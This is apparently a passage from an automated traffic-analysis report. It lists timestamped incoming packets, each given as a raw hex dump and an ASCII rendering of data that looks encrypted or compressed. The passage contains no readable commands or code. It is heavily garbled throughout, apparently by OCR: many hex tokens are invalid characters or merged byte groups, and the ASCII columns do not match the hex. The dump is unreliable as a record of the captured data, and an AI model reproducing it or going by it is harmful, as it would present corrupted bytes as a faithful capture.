2021-09-27 16:55:59 UTC 84 IN Data Raw: d0 2e e8 5f 80 36 ea ca 9e 26 4a 34 ce cf 47 5a 25 34 2b ¢7 59 ac 3f 42 d1 8e 35 25 2d b7 25 e4 4d ea 32 04
1179 d4 01 ce b2 81 de 6¢ 2d 48 77 bf ae 92 9d d7 Oe 22 70 dd ba 99 b0 8b 7e 73 3b c7 69 68 8d al b4 a7 f9 83 11 82 99
f2 78 82 48 16 f5 c5 €5 1c b5 cb 03 04 08 11 c8 5f eb 18 dd 8a 27 34 bf c9 85 ab cb 10 ae f0 12 c9 fc 42 c1 c9 ac 93 ba 5e
8e 10 be a3 26 8d 17 1e cb 2c 21 ce 90 dd d7 65 2f e6 fe Oa ed 8d 5f ed e7 ce ee ea 51 24 88 fa ef 88 18 4f 97 80 e0 78 ef
€2 82 7a a7 dd ae 48 2 fb d3 49 85 ae f0 7 d7 52 8b 2d 61 58 3e 95 2c 9b 26 03 47 62 39 56 f3 €8 56 2b 29 df ed 1b e2 1f
d7 4f 2d 77 15 bc ¢8 95 59 a9 30 77 63 86 b2 ab 3d d3 58 eb ab 02 d8 54 1d 75 ad 6b 3a d5 b0 3d 06 13 c6 2a 2a e5 ed
2b 8a Ob bf 0a 12 10 00 2b 9f fa 3a 1f d4 3d f9 a6
Data Ascii: ._6&J4GZ%4+Y?B5%-%M2yl-Hw"p~s;ihxH_'4B"&,!e/_Q$OxzHIR-aX>,&GbIVV+)O-wYOwc=XTuk:=**++:=
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kBytes
Timestamp transferred Direction Data

2021-09-27 16:55:59 UTC 86 IN Data Raw: fc 4a 5f 94 1f 74 {7 26 f1 cf be 9c 3f 71 fe fa be 25 d4 fa ea 26 3e d7 ad 7f 03 ¢3 07 38 a0 8f 79 45 2c 45 a2 be
73 9acc 9b 8f c2 72 44 6¢ b5 a7 73 4a Oe cc 3a 18 10 bl bd 12 66 9f 0d 17 7a 16 b9 ed Oc 67 b3 d4 c1 36 35 ab 33 52 d8
a9 78 62 65 dd ed 6a 56 84 43 70 22 c7 ec 3c f0 06 ee 50 d7 41 e3 10 6e Oa ca f7 5¢c 3e 26 92 a7 08 94 dc 7d ee ad 4f Oc
95 64 cb a8 a2 94 d5 7f b5 cc 8d 16 bb d1 4d b2 46 dd 35 43 36 30 6f af 44 69 31 c2 49 51 19 37 1f bf b7 e6 2b 3a 9a 49
2d b3 81 5f 87 f5 a6 37 d5 31 9b 7d 83 d4 ea 7a 4b 9f d1 ad 57 55 90 11 32 9d c5 26 c7 Oe fa 52 c1 a2 07 61 81 6f 30 c9
€8 28 dd 9e 38 42 df be 47 75 Oc db 86 18 9c 4f 13 €9 8b b6 b7 95 4a 82 6¢ 78 29 da 01 16 44 dO 71 52 40 4d a8 53 3b 34
b9 29 53 c7 83 66 ce 28 €0 €3 a8 d6 10 f2 al 6a 90
Data Ascii: J_t&?q%&>8yE,EsrDIsJ:fzg653RxbejVCp"<PAN\>&}OdMF5C600Di1lQ7+:1-_71}zZKWU2&Rao0(8BGuOJIx)D
qR@MS;4)Sf(j

2021-09-27 16:55:59 UTC 87 IN Data Raw: 18 36 b5 dO bc f8 cf 28 35 fc Ob 5f 8d 7e b0 7 a4 bb f0 42 e4 69 a9 e0 24 87 35 57 d3 ba 9c b0 85 c4 0f 1c 17
32 fe 00 c1 d2 65 fe e2 e6 be e7 4e 1b 6e 94 47 e8 1a 32 55 83 93 42 e5 d3 8¢ b3 4c 9c dd 77 f2 f9 df 12 f2 ae f0 7 dO 79
fc 15 60 8f 3f bf 6b 1d 49 88 4f 74 a9 a9 f3 ea 56 20 12 93 ed 1c 6¢ 07 cc f1 04 48 17 b6 ad 3f 18 ab 36 6e 60 9c 23 54 44
d1 58 e0 92 4e dd d8 51 5d ec 68 12 68 b9 24 9a 8c 9a af 2b ef fc 22 c8 de bf Ob 3e 3c 37 38 9a d2 71 10 cb 15 68 26 Oe
3408 c2 52 7d 09 b2 85 5d 8e da 96 03 35 9f 1b ef d5 6f 2e d6 2d e3 f5 32 7b b1 b2 Oe 36 68 €3 f3 8e dc 77 66 25 bb b2
clc2fb289e 2b 9e a9 c8 37 47 19 56 c1 76 d8 e6 03 fd 97 73 29 d4 db 67 eb 38 6d 25 51 64 ff 35 41 2a 53 4b 15 02 f1
9d 50 51 Ob 7f 8c 5e 4e 8a 80 01 Oa 27 2f ac 9f
Data Ascii: 6(5_~Bi$5W2eNnG2UBLwy ?kIOtV IH?6n #TDXNQ]hh$+"><78gh&4R}]50.-2{6hwf%(+7GVvs)g8m%Qd5A*SK
PQ"N/

2021-09-27 16:55:59 UTC 88 IN Data Raw: c4 46 90 24 ce 21 94 8b 64 {7 26 98 8b 45 87 da al 49 cc 4d Oc 9d 14 01 bb ad 90 d5 7d a8 8f 00 29 95 d8 7f
a9 b6 51 f5 5e 73 29 48 ef 57 66 24 fa b3 23 70 76 1d ce 56 a6 29 3e 98 70 68 67 Oe 7e 96 fO b5 12 48 19 9b 77 83 d4 el
7a4b 9f 60 b1 ed 56 90 1d Ob d4 b4 19 cfac el 7e eb b1 02 7a a4 al 1b c9 e2 23 b0 c5 8f 2d c8 69 f0 6¢ 75 18 8b 0f 4e
4334 eb 89 a7 b4 a4 c0 35 6d 86 14 d6 07 cc 40 00 73 58 4e 17 85 3a cl da 49 Oa a4 c7 af 68 ce 28 ef e3 a8 d6 2a 44 cb
8e 2f 67 92 c4 b9 44 7 fc 1c 5a f5 76 08 fb 6f a6 24 5 59 f1 95 47 95 c9 2a c2 42 el 1d 36 f0 40 91 49 6¢ 01 de 7b fb d7
83 2f fb 66 db 61 5d ae 6¢ 64 db 77 7b a2 37 2c 23 22 c0 51 28 af 8f 6e 9a 5¢ 80 d2 3e €2 1c d1 02 c5 34 26 58 bc aa c5
€6 bl 17 e0 13 27 59 4a 3c 09 5b 25 94 66 01 8¢ 2a cc
Data Ascii: F$!d&EIM})Q"s)HWf$#pvV)>phg~HwzK V~z#-iluNC45m@sXN:Ih(*D/gDZvo$Y G*B6 @!I{/fa]ldw{7 #"Q(n\
>A&X'Y I<[%of*

2021-09-27 16:55:59 UTC 89 IN Data Raw: 9e ¢3 19 ff 1d cO de 46 b6 16 90 c0 96 1b 80 d3 7f 11 55 24 d8 06 5f ef cb 83 42 c9 64 14 5d 99 69 3a df bl 24
90 b5 bf a5 00 be eb a9 ed 20 be 26 Oc Ob 34 43 5b fa 2b 14 ¢8 90 2d a7 0f 36 75 9e 6d 7d 0d 3d 21 66 cc b5 77 18 3e 9b
15 e9 2d b8 8d fe 35 e8 7 37 64 c3 f5 22 3b 6a f0 84 42 50 31 62 ab 0d a8 bd db f0 22 b1 01 61 a8 ee 24 df Oc 4c ca 77 {7
c3 fc fc bl 59 64 df db 6a el cf 44 53 53 4f f7 71 60 29 28 86 68 cd f5 9e db 7c 87 39 8e 25 9f 9b 89 02 82 fb 05 ac e e7
cc 2f b2 31 bf €7 23 70 ¢9 2b 79 3a ¢7 39 50 52 92 €0 11 c0 4f 29 91 c6 14 13 2e 9e a9 b4 ca 00 d3 10 85 f1 fe 21 f2 ff a6
83 3392 f2 50 49 85 09 64 6b 92 82 4b d5 d5 9c 57 a0 b8 8b 1e b2 53 d1 7e b4 42 ff 39 2e cO ff 93 8a dd 45 42 88 f8 ab
74 5d b7 82 63 b8 1f 9¢ 75 91 31 bb d1 76 c2
Data Ascii: FU$_Bd]i:$ &4C[+-6um}=!fw>-57d";jBP1b"a$LwYdjDSSOq")(h|9%/1#p+y:9PRO).!13PIdkKWS~B9.EBt]culv

2021-09-27 16:55:59 UTC 91 IN Data Raw: a9 28 24 da e7 35 d8 Oe 99 3c cb 31 f0 68 ab 1a 90 Ob 97 7b 10 eb 83 a7 a9 Ob 43 e6 b5 68 03 c1 17 0b 5¢c 97
7d 51 3e 2e 51 5d 3b 2f 9e e6 ac c6 a5 40 €8 53 29 e9 bb d4 38 cf 4d 43 7c 92 83 cb a8 50 c5 5e 33 50 e4 7a 7e b7 1le 99
20f4 5b f1 07 41 95 c¢5 6d a9 42 el 11 28 8e cc ff 51 6b 72 ea 68 ea ca 2b 7f €8 77 c0 58 Ob 22 db 51 51 c2 86 5d €3 30
09 1c €6 5e 3b b6 8f 6e 99 0a 82 d1 47 02 1e d7 22 da 38 0d 37 83 a8 c5 ec 99 57 fa 13 2d 48 d7 25 d1 28 c5 97 66 Ob ab
6a ce ea 76 c5 1f 8c d1 7b 18 cf 4e 5¢ 96 f1 8a 35 c0 dc d5 e5 d0 €9 60 b9 Oc 5d 05 61 d9 55 11 dd c0 56 5d 21 00 07 39
5f 97 b6 41 86 45 2d 2e 29 b8 22 1e 9a 49 1b 13 1a 7b fb 5e 31 b3 a7 de 3c €9 63 94 b9 d3 b2 al d5 04 56 13 d9 c9 ac 9a
fa 75 5b 71 ef 69 62 97 87 20 d4 f6 81 11 88 b4 b2 7a 93
Data Ascii: ($5<1h{Ch\}Q>.Q];/@S)8MC|P"3Pz~ [AmMB(Qkrh+wX"QQ]0"nG"87W-H%(fiv{N\5"JaUV]!9_AE-.)"l{*1<cVu[qgib z

2021-09-27 16:55:59 UTC 92 IN Data Raw: bf d1 f3 b6 85 60 d1 f1 22 a7 12 80 be 3c 21 e7 29 47 c9 66 f9 5b b5 c2 05 5b 73 d4 c4 75 e9 3b 45 6e 5b 7e
0b 5b ef 2d 45 5e 6e d6 e2 97 54 47 8d 26 9e a0 4e b7 81 17 83 4c 22 b3 8d f4 d5 1f a0 3b 4e f3 dd 71 5d 39 68 2e c7 23
5c 7b 4f 6e a6 €8 7a 39 95 d1 f5 07 11 91 82 c7 de Oc d8 ee 95 d9 e0 c9 e0 db b7 85 22 e3 3e 41 43 9f 79 d2 4a 98 b3 Oc
ce dc 9e 59 b7 57 80 2e 4f 4a ee 70 a5 54 ea 24 4a d2 d7 90 9b ac 89 53 82 e5 5d ef 1e b6 80 70 b5 01 e0 78 90 20 bb al
2d 3e bb 3d 36 31 c5 8e 21 f5 12 68 5d fb d3 a6 52 ff e3 al 19 58 7c 9f 1f 72 f9 22 95 dd 97 b2 2f 61 87 c4 ad 2f c1 ee 7e
54 2d df bc 73 3¢ 55 16 3e b5 95 6e 57 f4 27 ed a3 78 6e e5 {7 81 d3 7e 7d 2a 39 10 4b cf 7e 44 28 12 16 aa a8 07 8b 91
21 03 63 04 5e ff 2a 51 a0 dd a5 f6 36 87 3a 53 al dO
Data Ascii: *"<!)Gf[[su;En[~[-E"nTG&NL";Ng]9h.#{Onz9">ACyJYW.OJpT$JIS]px ->=61!h]RX|r"/a/~T-s<U>nW'xn~}*9K~D(!
c*Q6:S

2021-09-27 16:55:59 UTC 93 IN Data Raw: 79 fd cb 70 6b f9 66 dO 5d 0d b8 44 cd f3 3c 73 8a al 3f 2c 3e c0 52 2f 94 22 7c bl 34 94 5¢ 4a dc 1e dO 1c ce
2c 64 88 83 a8 cf c4 c3 57 e2 19 3c 45 2e 16 d1 28 62 94 1d d2 a4 6a ca c2 19 c5 1f 8b f4 73 4d fa 5e 5a 8d ea b6 4f 14
d8 df c9 c6 64 74 89 Oe 5¢ 23 75 cd 7d b7 dd cO 4d 63 b6 2b 1c 33 49 8¢ 5¢ 68 14 45 35 23 3f 32 33 0 9b 64 0d 10 05 53
5f 46 cf b8 a3 86 17 eb 42 66 b6 dc d3 a3 d5 Oc 3¢ 49 ad c9 a6 b4 98 7e 4a 71 d3 47 6d 87 a6 28 dc ee 2e 10 88 b7 94 6¢
91 45 d4 ed 42 9d 34 61 d8 02 3d 43 02 c7 6b ca ff b4 06 09 31 86 4f ad eb c9 12 df 25 Ob 5f 8b 7f b8 15 a6 bb fe d2 39 0d
4c 78 37 83 1f 6¢ Oc ba 96 a5 af ¢7 c6 69 55 21 fa 1b e7 e6 55 fe e8 cc fd 9e 97 11 76 ff eb 9c 1a 34 58 93 ea 57 f3 c2 80
ab 39 f2 bf 46 84 cb d5 3a b9 b8 d8 88 c6 57 fe
Data Ascii: ypkf]D<s?,>R/"|4\J,dW<E.(bjsM ZOdt\#u}Mc+3\hE5#?23dS_FBf<I~JqGm(.|[EB4a=Ck10%_9Lx7IiU!Uv
AXWIOF:W

2021-09-27 16:55:59 UTC 95 IN Data Raw: ff 88 b2 f1 d3 a2 b3 20 e2 16 74 4a 81 81 bc 0a 9¢ 98 52 f7 db 88 42 bc 29 58 32 b1 41 93 74 b0 15 d7 2b d4
e1 68 8c 88 a6 dd 69 8c f8 bc be 66 b8 ab ec b3 1b f9 5e c2 20 b5 a9 al d3 aa 12 2d 30 9c 88 e7 f9 20 18 24 ea d9 ac 50
fa ed bf f2 62 €3 94 Oe 7b f9 3a 1le c1 85 7b 52 7a 8c ¢4 b6 21 f6 8b 82 55 Ob f9 a3 76 3a 93 13 29 a5 f1 92 5d f4 3c b6 97
61 9e e0 9d al cb 7c 4c 96 b6 a7 79 06 4a 4c 3f 07 46 ef 89 61 7d 8f 37 69 1b 0d 47 e6 33 40 a0 c6 a7 3b 77 a8 31 la a3
de 50 fa 76 c5 d4 38 4b be 26 36 61 c5 e6 25 f9 78 7b 44 f9 11 81 3c 7d 1b d7 5f 70 34 27 98 85 48 be b3 75 c6 ec 60 1le
91 6b 97 97 a4 90 e4 cb ab 88 73 43 bc dc 71 a7 ee 76 el 73 70 2b 76 be 44 09 c1 eb b7 5a 64 7c Oc d5 69 30 44 36 93
5823 61 26 1b 85 f5 ae 32 d5 3e 9f 31 ad a6 28 5a f0 9a
Data Ascii: tJRB)X2At+hif* -0 $Pb{:{Rz!Uv:)]<a|LyJL?Fa}7iG3@;w1Pv8K&6a%x{D<}_p4'Hu ksCqvsp+vDZd|iOD
6X#a&2>1(Z

2021-09-27 16:55:59 UTC 96 IN Data Raw: 18 3b 78 80 08 41 aa ca le 25 29 be 49 07 9b 65 1d 06 62 08 fe 46 c5 cf 68 dc 17 ef 4a Oc 58 a8 el a7 d7 61
67 60 d8 c3 a4 c1f8 76 5b 71 b8 8d 62 84 b3 20 af 22 81 11 8¢ b3 dd 35 83 42 f5 e0 28 75 23 b7 cf Ob 57 af 13 c8 51 f4 02
30 1le 18 36 bb 4d 1a 84 bd 12 a4 f3 09 24 6b 7d c3 cd a4 c0 1d 5c 8e 1e 80 e0 5f 6a 1d 17 d5 34 21 ce 7 de d7 65 50 4b
1d Oa €9 96 73 00 ee 79 fe e5 48 62 03 f9 c3 e3 75 42 5¢ 80 ea 7e 9c 37 86 ac 2c e2 50 4e 47 f8 d5 3c ¢8 d9 2 fd cc 38
8e 10 63 52 36 aa 11 71 26 09 4a 5e af 25 df da 55 21 el 9e ef 1b 22 16 c0 c8 48 5b 11 84 10 bc 19 ab 30 6¢ 6¢ 81 29 26
03 fd 57 e3 f8 a6 da 54 13 75 98 69 3a d9 a6 2a 83 a2 a9 bf 2d fa fe 50 f6 f2 b3 08 07 0a 4b db 90 fa 2f Of dd Oc 01 a7 le
32 14 b0 6¢ 51 Oc a4 9a 4f 9f a7 5d 12 33 84 1b 00
Data Ascii: ;xA%)lebFhJXag v[gb "5B(u#WQO6M$K}\_j4lePKsyHbuB\~7,PNG<8cR6q&JI %U!"H[0I)&WTui:*-PK/21Q0]3
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kBytes
Timestamp transferred Direction Data

2021-09-27 16:55:59 UTC 97 IN Data Raw: d4 2 1a 5e df db 88 5d 1c 83 05 32 a7 b6 45 5d f4 3c 39 bc 74 ba e4 da 9d c2 78 6¢ 2d 97 a7 72 79 61 46 ae
18 16 ba 48 1d 5d 87 0d 06 7f 0d 51 91 2a 50 b1 d3 b0 le 4a a0 38 4b b6 d8 34 1f 67 d7 cf 57 58 85 49 5c 61 bb 7f 36 e8
63 17 5e d6 47 94 2c 78 77 dO 88 1f 38 24 8e €5 31 87 dd 77 c2 cc 77 Oe 88 00 6¢ ba ad 92 c6 58 2a 8a 73 1d bd f2 76 94
b8 20 a5 94 72 23 66 85 55 66 2e f8 87 53 35 12 1d c4 7e 28 2b 3e 83 4c a9 71 Of 74 83 d5 11 1e c7 30 b3 f6 83 af 26 fa
5e 9a d7 da 49 57 91 1b 23 15 cd 19 c¢5 0f 70 6e 80 a0 03 7d d7 3a 33 c9 e6 af 7c 1f 55 20 c7 94 68 78 c9 03 90 14 9e 47
66 ec b2 ba 86 ba d6 70 7f 7f 12 b4 71 10 78 02 64 49 3b Oc b3 4b ed 29 be 2f 9c 24 d1 7c cd 53 2d e4 ae 4c 2e d7 8c 9e
6894 a3 09 93 46 f4 9c 12 5b f5 34 11 91 1c 56 26 e5 42
Data Ascii: N|2E]<9tx|-ryaFH]Q*PJ8K4gWXN\a6c G, xw8$1wwlX*sv r#fUf. S5~(+>Lgt0& Wi#pn}:3|U hxGfpgxdl;K)/$|S-L.hF
[4V&B

2021-09-27 16:55:59 UTC 98 IN Data Raw: 13 c6 14 83 Ob e6 f3 fO cb bb 91 31 f8 3a 4a b7 80 ab d6 4d 95 83 4b d5 d5 9c 57 ab b8 8b 1e bd 49 db 7c c7
Oafb 22 da cd ce 9e 8c a6 98 46 91 02 a2 c2 37 a7 89 79 al 1f f3 63 94 29 4f bf 17 c7 b9 06 0f 82 d4 8a f3 e6 Ob 73 54 16
d8 8a 48 fc fe cd ea 58 50 90 11 72 fb 2e Of df 96 bb ¢3 73 al c7 ab 36 da e4 91 51 le dc 53 74 07 81 2e 3d 92 f7 82 a2 Ob
3f cd bc 73 90 7 eb 8f c2 33 6¢ 2d b7 75 79 52 70 4a 54 9a 14 bb a8 32 7a 93 1a 28 7e 27 69 ee 20 57 c¢2 54 b0 08 3d d1
4a f0 b3 da 41 6b 62 d5 b8 24 55 84 4d 5f 60 b8 fe 37 8 6d 6d 55 aa 54 91 2e 68 0d af 52 1e 3c 20 b4 8d 4b bc d8 5a c0
el 22 c4 9e 6f d7 c8 29 96 c4 7a d0 88 60 27 91 d8 42 b8 be 22 19 5¢ 73 32 62 d4 47 67 2e ef a0 63 3e 5¢ c1 c0 7e e0 58
bd 90 58 23 1f 0a 6d 9e 86 fd 1f c7 3a 90 75 82 aa
Data Ascii: 1:JMKWI|"F7yc)OsTHXPr.s6QSt.=?s3l-uyRpJT2z(~'i WT=JAkb$UM_ 7mmUT.hR< KZ"0)z'B"\s2bGg.c>
\~XX#m:u

2021-09-27 16:55:59 UTC 99 IN Data Raw: 4d 56 39 2e 1c 28 5d 96 b6 41 86 44 22 36 2c bf 25 €5 84 72 e7 05 3d 79 d7 43 f7 5e 76 23 e8 c1 48 77 bb bb
d1 a6 d5 Ob 2a 61 d8 11 a6 b2 9a 76 20 6b c4 69 66 a9 bc 0a 15 c2 81 17 fb 32 b0 7a 88 38 8¢ 9d 51 96 29 bb dd 03 14
9d 12 ¢8 55 e0 7b 5b f8 18 32 b9 eb bc ea c9 1a b7 e9 1a 4f el 5d 93 82 a7 b9 90 1c 49 1b 96 e2 26 f6 0d 16 d1 be 90 bf
55 f4 5¢ 6d 52 3a de Oa el 92 67 al fe 30 fe f3 b0 10 65 fc c1 92 Oa 35 5e 84 e6 63 ed 05 ae 27 2a f6 a4 5b fd fb ae 2a ba
ac f4 fb d9 5b 2e 3a 72 59 34 b7 7f 97 24 72 5e 75 af 21 ca 5 46 7 29 8e ee 1b e2 05 c5 db 25 58 16 bc c6 bb 06 bf e6 55
7b 9f 24 d2 6¢ c2 5¢c e3 f8 52 db 54 13 5b f3 71 ec f7 a8 25 90 ae c7 bd 21 e7 90 be f6 de bb 0c 09 13 €0 10 1b f8 2b 1a d8
16 05 dc 1f 35 Oe 4a 6b 62 17 65 be df 8e a1 57 10
Data Ascii: MV9.(JAD"6,%r=yC"v#Hw*av kif2z8Q)U{[20]I&U\mR:g0e5 c™*[*[.:rY4$r*u!F)%XU{$\RT[q%!+5JkbeW

2021-09-27 16:55:59 UTC 100 IN Data Raw: 8c c4 b8 34 db 9f a4 54 01 d1 c2 b1 2a 83 03 1e b8 98 55 ca f6 36 ed 91 c9 4e ea c9 8b 3c 6e 4b 2d b7 bc 16
05 61 48 31 c4 14 eb cd d7 74 90 0b 17 71 60 8f ed 20 57 b3 87 ¢9 05 36 ab 3d 63 8b da 47 6a 6¢ d5 95 51 59 85 49 5¢
4b 5d ee 36 e2 6b 68 01 ac 4a 91 2e 68 08 90 f2 0d 3d 26 9c a7 8e 97 dc 71 97 38 66 24 a8 6f d1 bl bb 9f ec 48 aa 88 79
€9 88 d1 5d 89 be 22 c0 70 75 2a 48 96 55 66 24 e3 9f 61 35 74 17 e8 78 ee 03 07 92 58 23 b9 19 5e 80 df a4 1e ef 30 9b
758195 2¢ 28 ¢7 9b d9 de 69 57 90 1b 23 b5 b6 b2 1d Oe fe 60 81 a0 06 69 a9 03 32 70 04 21 d6 08 8f 2d cc ac 77 7b 71
cf 86 18 98 8d 39 fa 95 a0 b5 9e 6d 62 92 79 05 d0 01 1e 4e f8 63 72 54 00 ad 74 b0 27 b6 38 a6 d8 bc 6¢ cc 42 2d fb 56
d3 05 ca 42 18 44 9d 92 c5 b3 5f e7 8b 22 49 1 67 ef 90 30
Data Ascii: 4T*UBN<nK-aH1tq" W6=cGjlQYI\K]6khJ.h=&q8f$oHy]"pu*HUf$a5txX# 0u, (iW# i2p!-w{q9mbyNcrTt'8IB-
VBD_"Ig0

2021-09-27 16:55:59 UTC 102 IN Data Raw: ¢3 cd 9f 62 fb 5¢ 8e 05 9d f1 22 8d Oc 11 c8 44 97 8d 8a f4 40 6f 52 3a f2 10 fa 94 67 ef ee d1 f3 1b 4f 3d 7f c3
a5 16 e5ch 41 8d f3 7a e7 c2 80 b3 27 08 af 64 ec fb ae 34 ba ac f4 fe bd 4e f9 12 67 70 ad bf 6¢ 93 30 11 21 dd af 25 c6
5 46 32 07 9f fe 1d f7 Oc 3e d8 72 53 15 ¢7 cc bc 19 af 10 7d eb 9e 24 f0 9b d3 58 eb 95 5a b5 fd 17 5d e6 76 21 cc bf 24
81 a2 b5 50 2a c9 fb a6 f4 a5 a5 Ob 16 Ob 59 a0 90 fa 21 1b d6 Oc 01 a7 le 32 11 52 93 7c¢ 25 a7 94 2f 82 a0 5d 07 32 8d
1570 64 d6 08 fc 2d e9 e8 2d 6f 3b f4 1f 30 76 5 01 88 7c 26 64 5e b4 9b 76 c6 ed Oa 2f 1a 9f a3 d4 38 a4 8f 56 c1 7d ef
cd 11 fb 9d 4a 75 cb ¢5 93 fb 1d 51 7d 2a 6a f4 5a c7 2d 45 4b e6 7a 9e 34 54 56 8d 26 93 4d 49 9b 98 00 99 78 d1 ad b2
f0O dd 64 bf 30 51 e3 35 58 €8 29 79 21 c7
Data Ascii: b\"D@0R:gO=Az'd4Ngpl0!%F2>rS}$XZ]vI$P*Y!2R|%/]2pd--0;0v|&d"v/8V}IuQ}*Z-EKZ4ATV&MIXd0Q5X)y!

2021-09-27 16:55:59 UTC 103 IN Data Raw: 9f ca 68 96 7a 44 1b 80 24 4d b2 b5 8f 58 79 b3 94 ef 1e 8d ce e9 b1 a5 34 56 55 6f 35 fc a6 48 70 b2 e2 al 4e
5a dd 1d c4 74 f9 33 2d 96 58 38 61 16 8a 86 d9 ab 1d bc 3e 9a 77 85 c0 b1 78 4b 91 dd c¢7 7a 53 90 Oa 27 87 af e7 c4 22
ea 78 fa ae 06 6b ad 29 bc 7e 54 09 52 0Oa 8f 27 da a7 28 d6 71 09 8c 07 82 43 3d fa 95 b2 b9 8e ab c9 be 70 3d 59 10 la
53 19 77 4d 5b 06 aa 58 2c db b7 1e ae de bc 6¢ cc 42 2d fc b8 2¢ 28 ec 4d 97 14 93 93 c4 bd 40 dc 13 20 58 ff 6a 0f fe
b5 99 26 ef 4c c8 c6 41 95 d2 06 9e be e0 3b 39 9d bf 9e 48 6a 76 ff 54 d3 44 ff 6¢ f3 70 c9 26 b0 ac 6¢ 64 ed 2f 7d a2 2¢
3b 33 3e 2f 5f 17 95 9e 05 bf 33 82 d5 4f a7 12 d0 08 de 57 c5 29 83 a2 af ee e2 46 e3 13 29 9e 72 b8 d3 28 6a 80 78 64
0d 6a ce e0 73 ce Oc 89 e7 68 62 a2 59 a2 9d ca b3
Data Ascii: hzD$MXy4VUo5HPNZt3-X8a>wxKzS"'xk)~TR'(qC=p=YSWM[X,IB-,(M@ Xj&LA;9HjvTDIp&ld/},;3>/_30W)F
)r(jxdjshbY

2021-09-27 16:55:59 UTC 104 IN Data Raw: b6 23 75 6a 8f 2c ce fc d0 74 2 94 51 d2 54 06 55 f3 4d c4 de 95 26 bb al 91 13 d7 1a 14 84 e4 ee bc 0a 6a Of
36 38 70 fa 2b 01 dd 14 2c bc 0f 33 19 b0 6¢ 51 0b ab 9d 54 8b b7 a3 02 19 99 05 f5 d3 be b9 02 2¢ cf 5 1b 7e 16 17 01
37 41 6d fd 89 5a 5d 45 25 ba 9a 76 c2 fb 22 6 43 b7 38 ¢2 20 c1 9f 59 c0 5f 50 d7 02 {7 86 39 19 b4 d4 6¢ d2 90 47 7f 5b
7hb fe 38 a9 4b 5c¢ 4c 40 6f f3 9d 5e 49 97 5b €6 3e 40 9a al a5 84 61 25 b3 8b 85 b5 7f be 30 79 43 21 70 7b Ob c5 2¢ d1
2a8e 7553 82 7b a0 f7 12 86 eb ed 12 2a 9a 82 d6 37 13 d7 01 82 6 ef e7 eb d2 a8 95 31 8 36 4f 45 7f 86 ff 6f a6 97 59
d1 d5 92 5e a4 4e 8a 23 b9 54 c9 84 b5 7f f0 0a a9 c1 d3 87 9b a3 96 4e 9b 4 a3 ff 3a ae 7d 62 e 12 2 76 86 1f 59 al
32 d3 b2 11 2d 28 da 67 f6 ca 19 6f 59 €0 d9 b7
Data Ascii: #Uj,tQTUM&j68p+,3IQT,~7AMZ]E%V"'C8 Y_PIIG[{8K\L@0M[>@a%0yC!p{ uS{*7160E0Y N#TN:}ovY2-(goY

2021-09-27 16:55:59 UTC 105 IN Data Raw: 71 18 8e 07 97 ae 38 d6 90 b3 a5 92 4a dc 44 51 3e d1 10 10 2e 1a 63 5e 5b 19 ab 4f 33 25 a7 3a b2 cc 51 69
e0 5f 38 e7 bf 92 57 3e a5 6a 70 96 81 cc b9 57 fc 90 2¢ a6 f4 50 1f 94 67 85 27 e5 57 cc bb 76 fc dc 0d 90 48 el 06 26 80
c9 6e 48 46 66 e5 7a f3 c2 f1 ba d1 5d d0 49 13 d1 77 6f f3 38 66 ac 2e 37 2c 25 d9 41 2a 42 9d 52 a5 37 81 d9 52 c0 c8
f9 33 db 38 46 56 9e a9 c5 e8 86 45 f1 1b 2d 59 52 3b c9 d6 61 ba 7f Oe a7 62 d1 fe ba ed 24 8c e7 73 4e 15 4d 5¢ 96 9b
8166 c2d8cOd6 c3el 739806 42 27 9f d8 79 05 d8 bb 5a 4a 2a 2f 09 57 18 71 b5 bf 55 58 24 36 21 bf 25 e8 84 7e e7
05 3d 77 f4 57 c¢8 8c 2c 22 e8 14 57 6b a8 a0 el b2 dd 11 3e 9f d9 e5 ab a3 8e 6b 43 3b 29 94 9d 7b a8 35 c7 ce 81 00 80
ad 4c 7b ae 4f fc ea 4b 40 Ob 3c c9 09 26 42 Oe db 5d
Data Ascii: 8JDQ>.c"[03%:Qi_8W>jpW,Pg' WvH&NHFfZ]lwo8f.7, %A*BR7R38FVE-YR;ab$sNM\fsB'yZIJ*/WqUX$6!%~=w
W,"Wk>kC;){5L{OK@<&B]

2021-09-27 16:55:59 UTC 107 IN Data Raw: 21 e7 24 41 ca 77 7 cd fc fc b1 59 58 d6 fO 8e f8 4a 5f 7e 51 60 df 20 c1 03 44 4d 68 c7 f3 82 4e 7e 3c 39 8c 54
67 7b 8d 06 80 49 91 ac 9e ed a2 38 b0 31 55 cd 23 63 41 2f 79 ed dO 2a 54 8d 4a e0 00 d6 5c 3c ad 63 eb 12 02 9b 93
d2 c8 ed d6 3c 9a d5 e7 db f3 d3 25 be 31 e9 3f 5a 54 92 83 d3 77 9a 87 56 2f d4 al 43 b5 3d a2 33 b1l 4f da 15 4e 53 fb
28 cf ce c0 89 88 b7 8d 5d 82 02 a2 c2 3d 90 83 67 b2 1b 7e 59 90 31 b0 b4 24 cb a9 15 3c 31 c9 86 f8 18 1b 5b 45 ea a2
8e 42 f5 f8 df 1c 59 50 9e 11 6b fb 2e 0Of df 96 b2 31 8c 8c e8 ae 0d 85 e5 80 5f 07 c3 a5 1a 38 82 05 32 a7 81 70 4e f0 36
6 b8 6a 6e e5 f7 9¢ c0 60 7b 31 c4 d5 7b 52 6b 35 13 19 16 bf b8 Oc 71 90 1c 02 6e f1 46 cO 08 53 ca ff b3 08 33 83 62 4a
b2 d0 6f 81 61 d7 c3 02 e4 86 49 52 4b el ec 36
Data Ascii: I$SAWYXJ_~Q" DMhN~<9Tg{I81U#cA/y*TI\<c<%1?ZTwV/C=30NS(]=g~Y1$<1[EBYPk.1_82pN6jn {1{Rk5gnF
S3bJoalRK6
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kBytes
Timestamp transferred Direction Data

2021-09-27 16:55:59 UTC 108 IN Data Raw: 20 79 a2 3d 3f 2c 34 d1 5e 3b bc 6f 7f b1 32 71 d0 4d dc Oe d1 08 da 22 4c 2b 82 b3 f5 €9 99 d3 e3 13 2d a2 5a
24 ¢0 0093 92 66 0d ae 68 b5 cd 6d c5 1b a5 c8 79 66 b7 62 50 9e 9d 85 66 c2 d8 {7 ff dO e9 79 af Oc 26 10 60 d9 51 3¢
29 ¢4 47 4d 02 0f 1c 39 52 a8 79 40 aa 4d 18 42 5a 0d 36 €0 91 6e 1b 6b 5 7a fc 40 c3 b5 83 de 6¢ cc 49 77 bf 80 15 a7
d5 08 00 45 d8 c9 ac dd 38 76 5b 71 1b 28 47 ac 80 22 d4 cc 8c 16 a0 44 b6 7a 84 40 84 c5 52 96 27 9f 3f 0d 2c 4e 3b ec
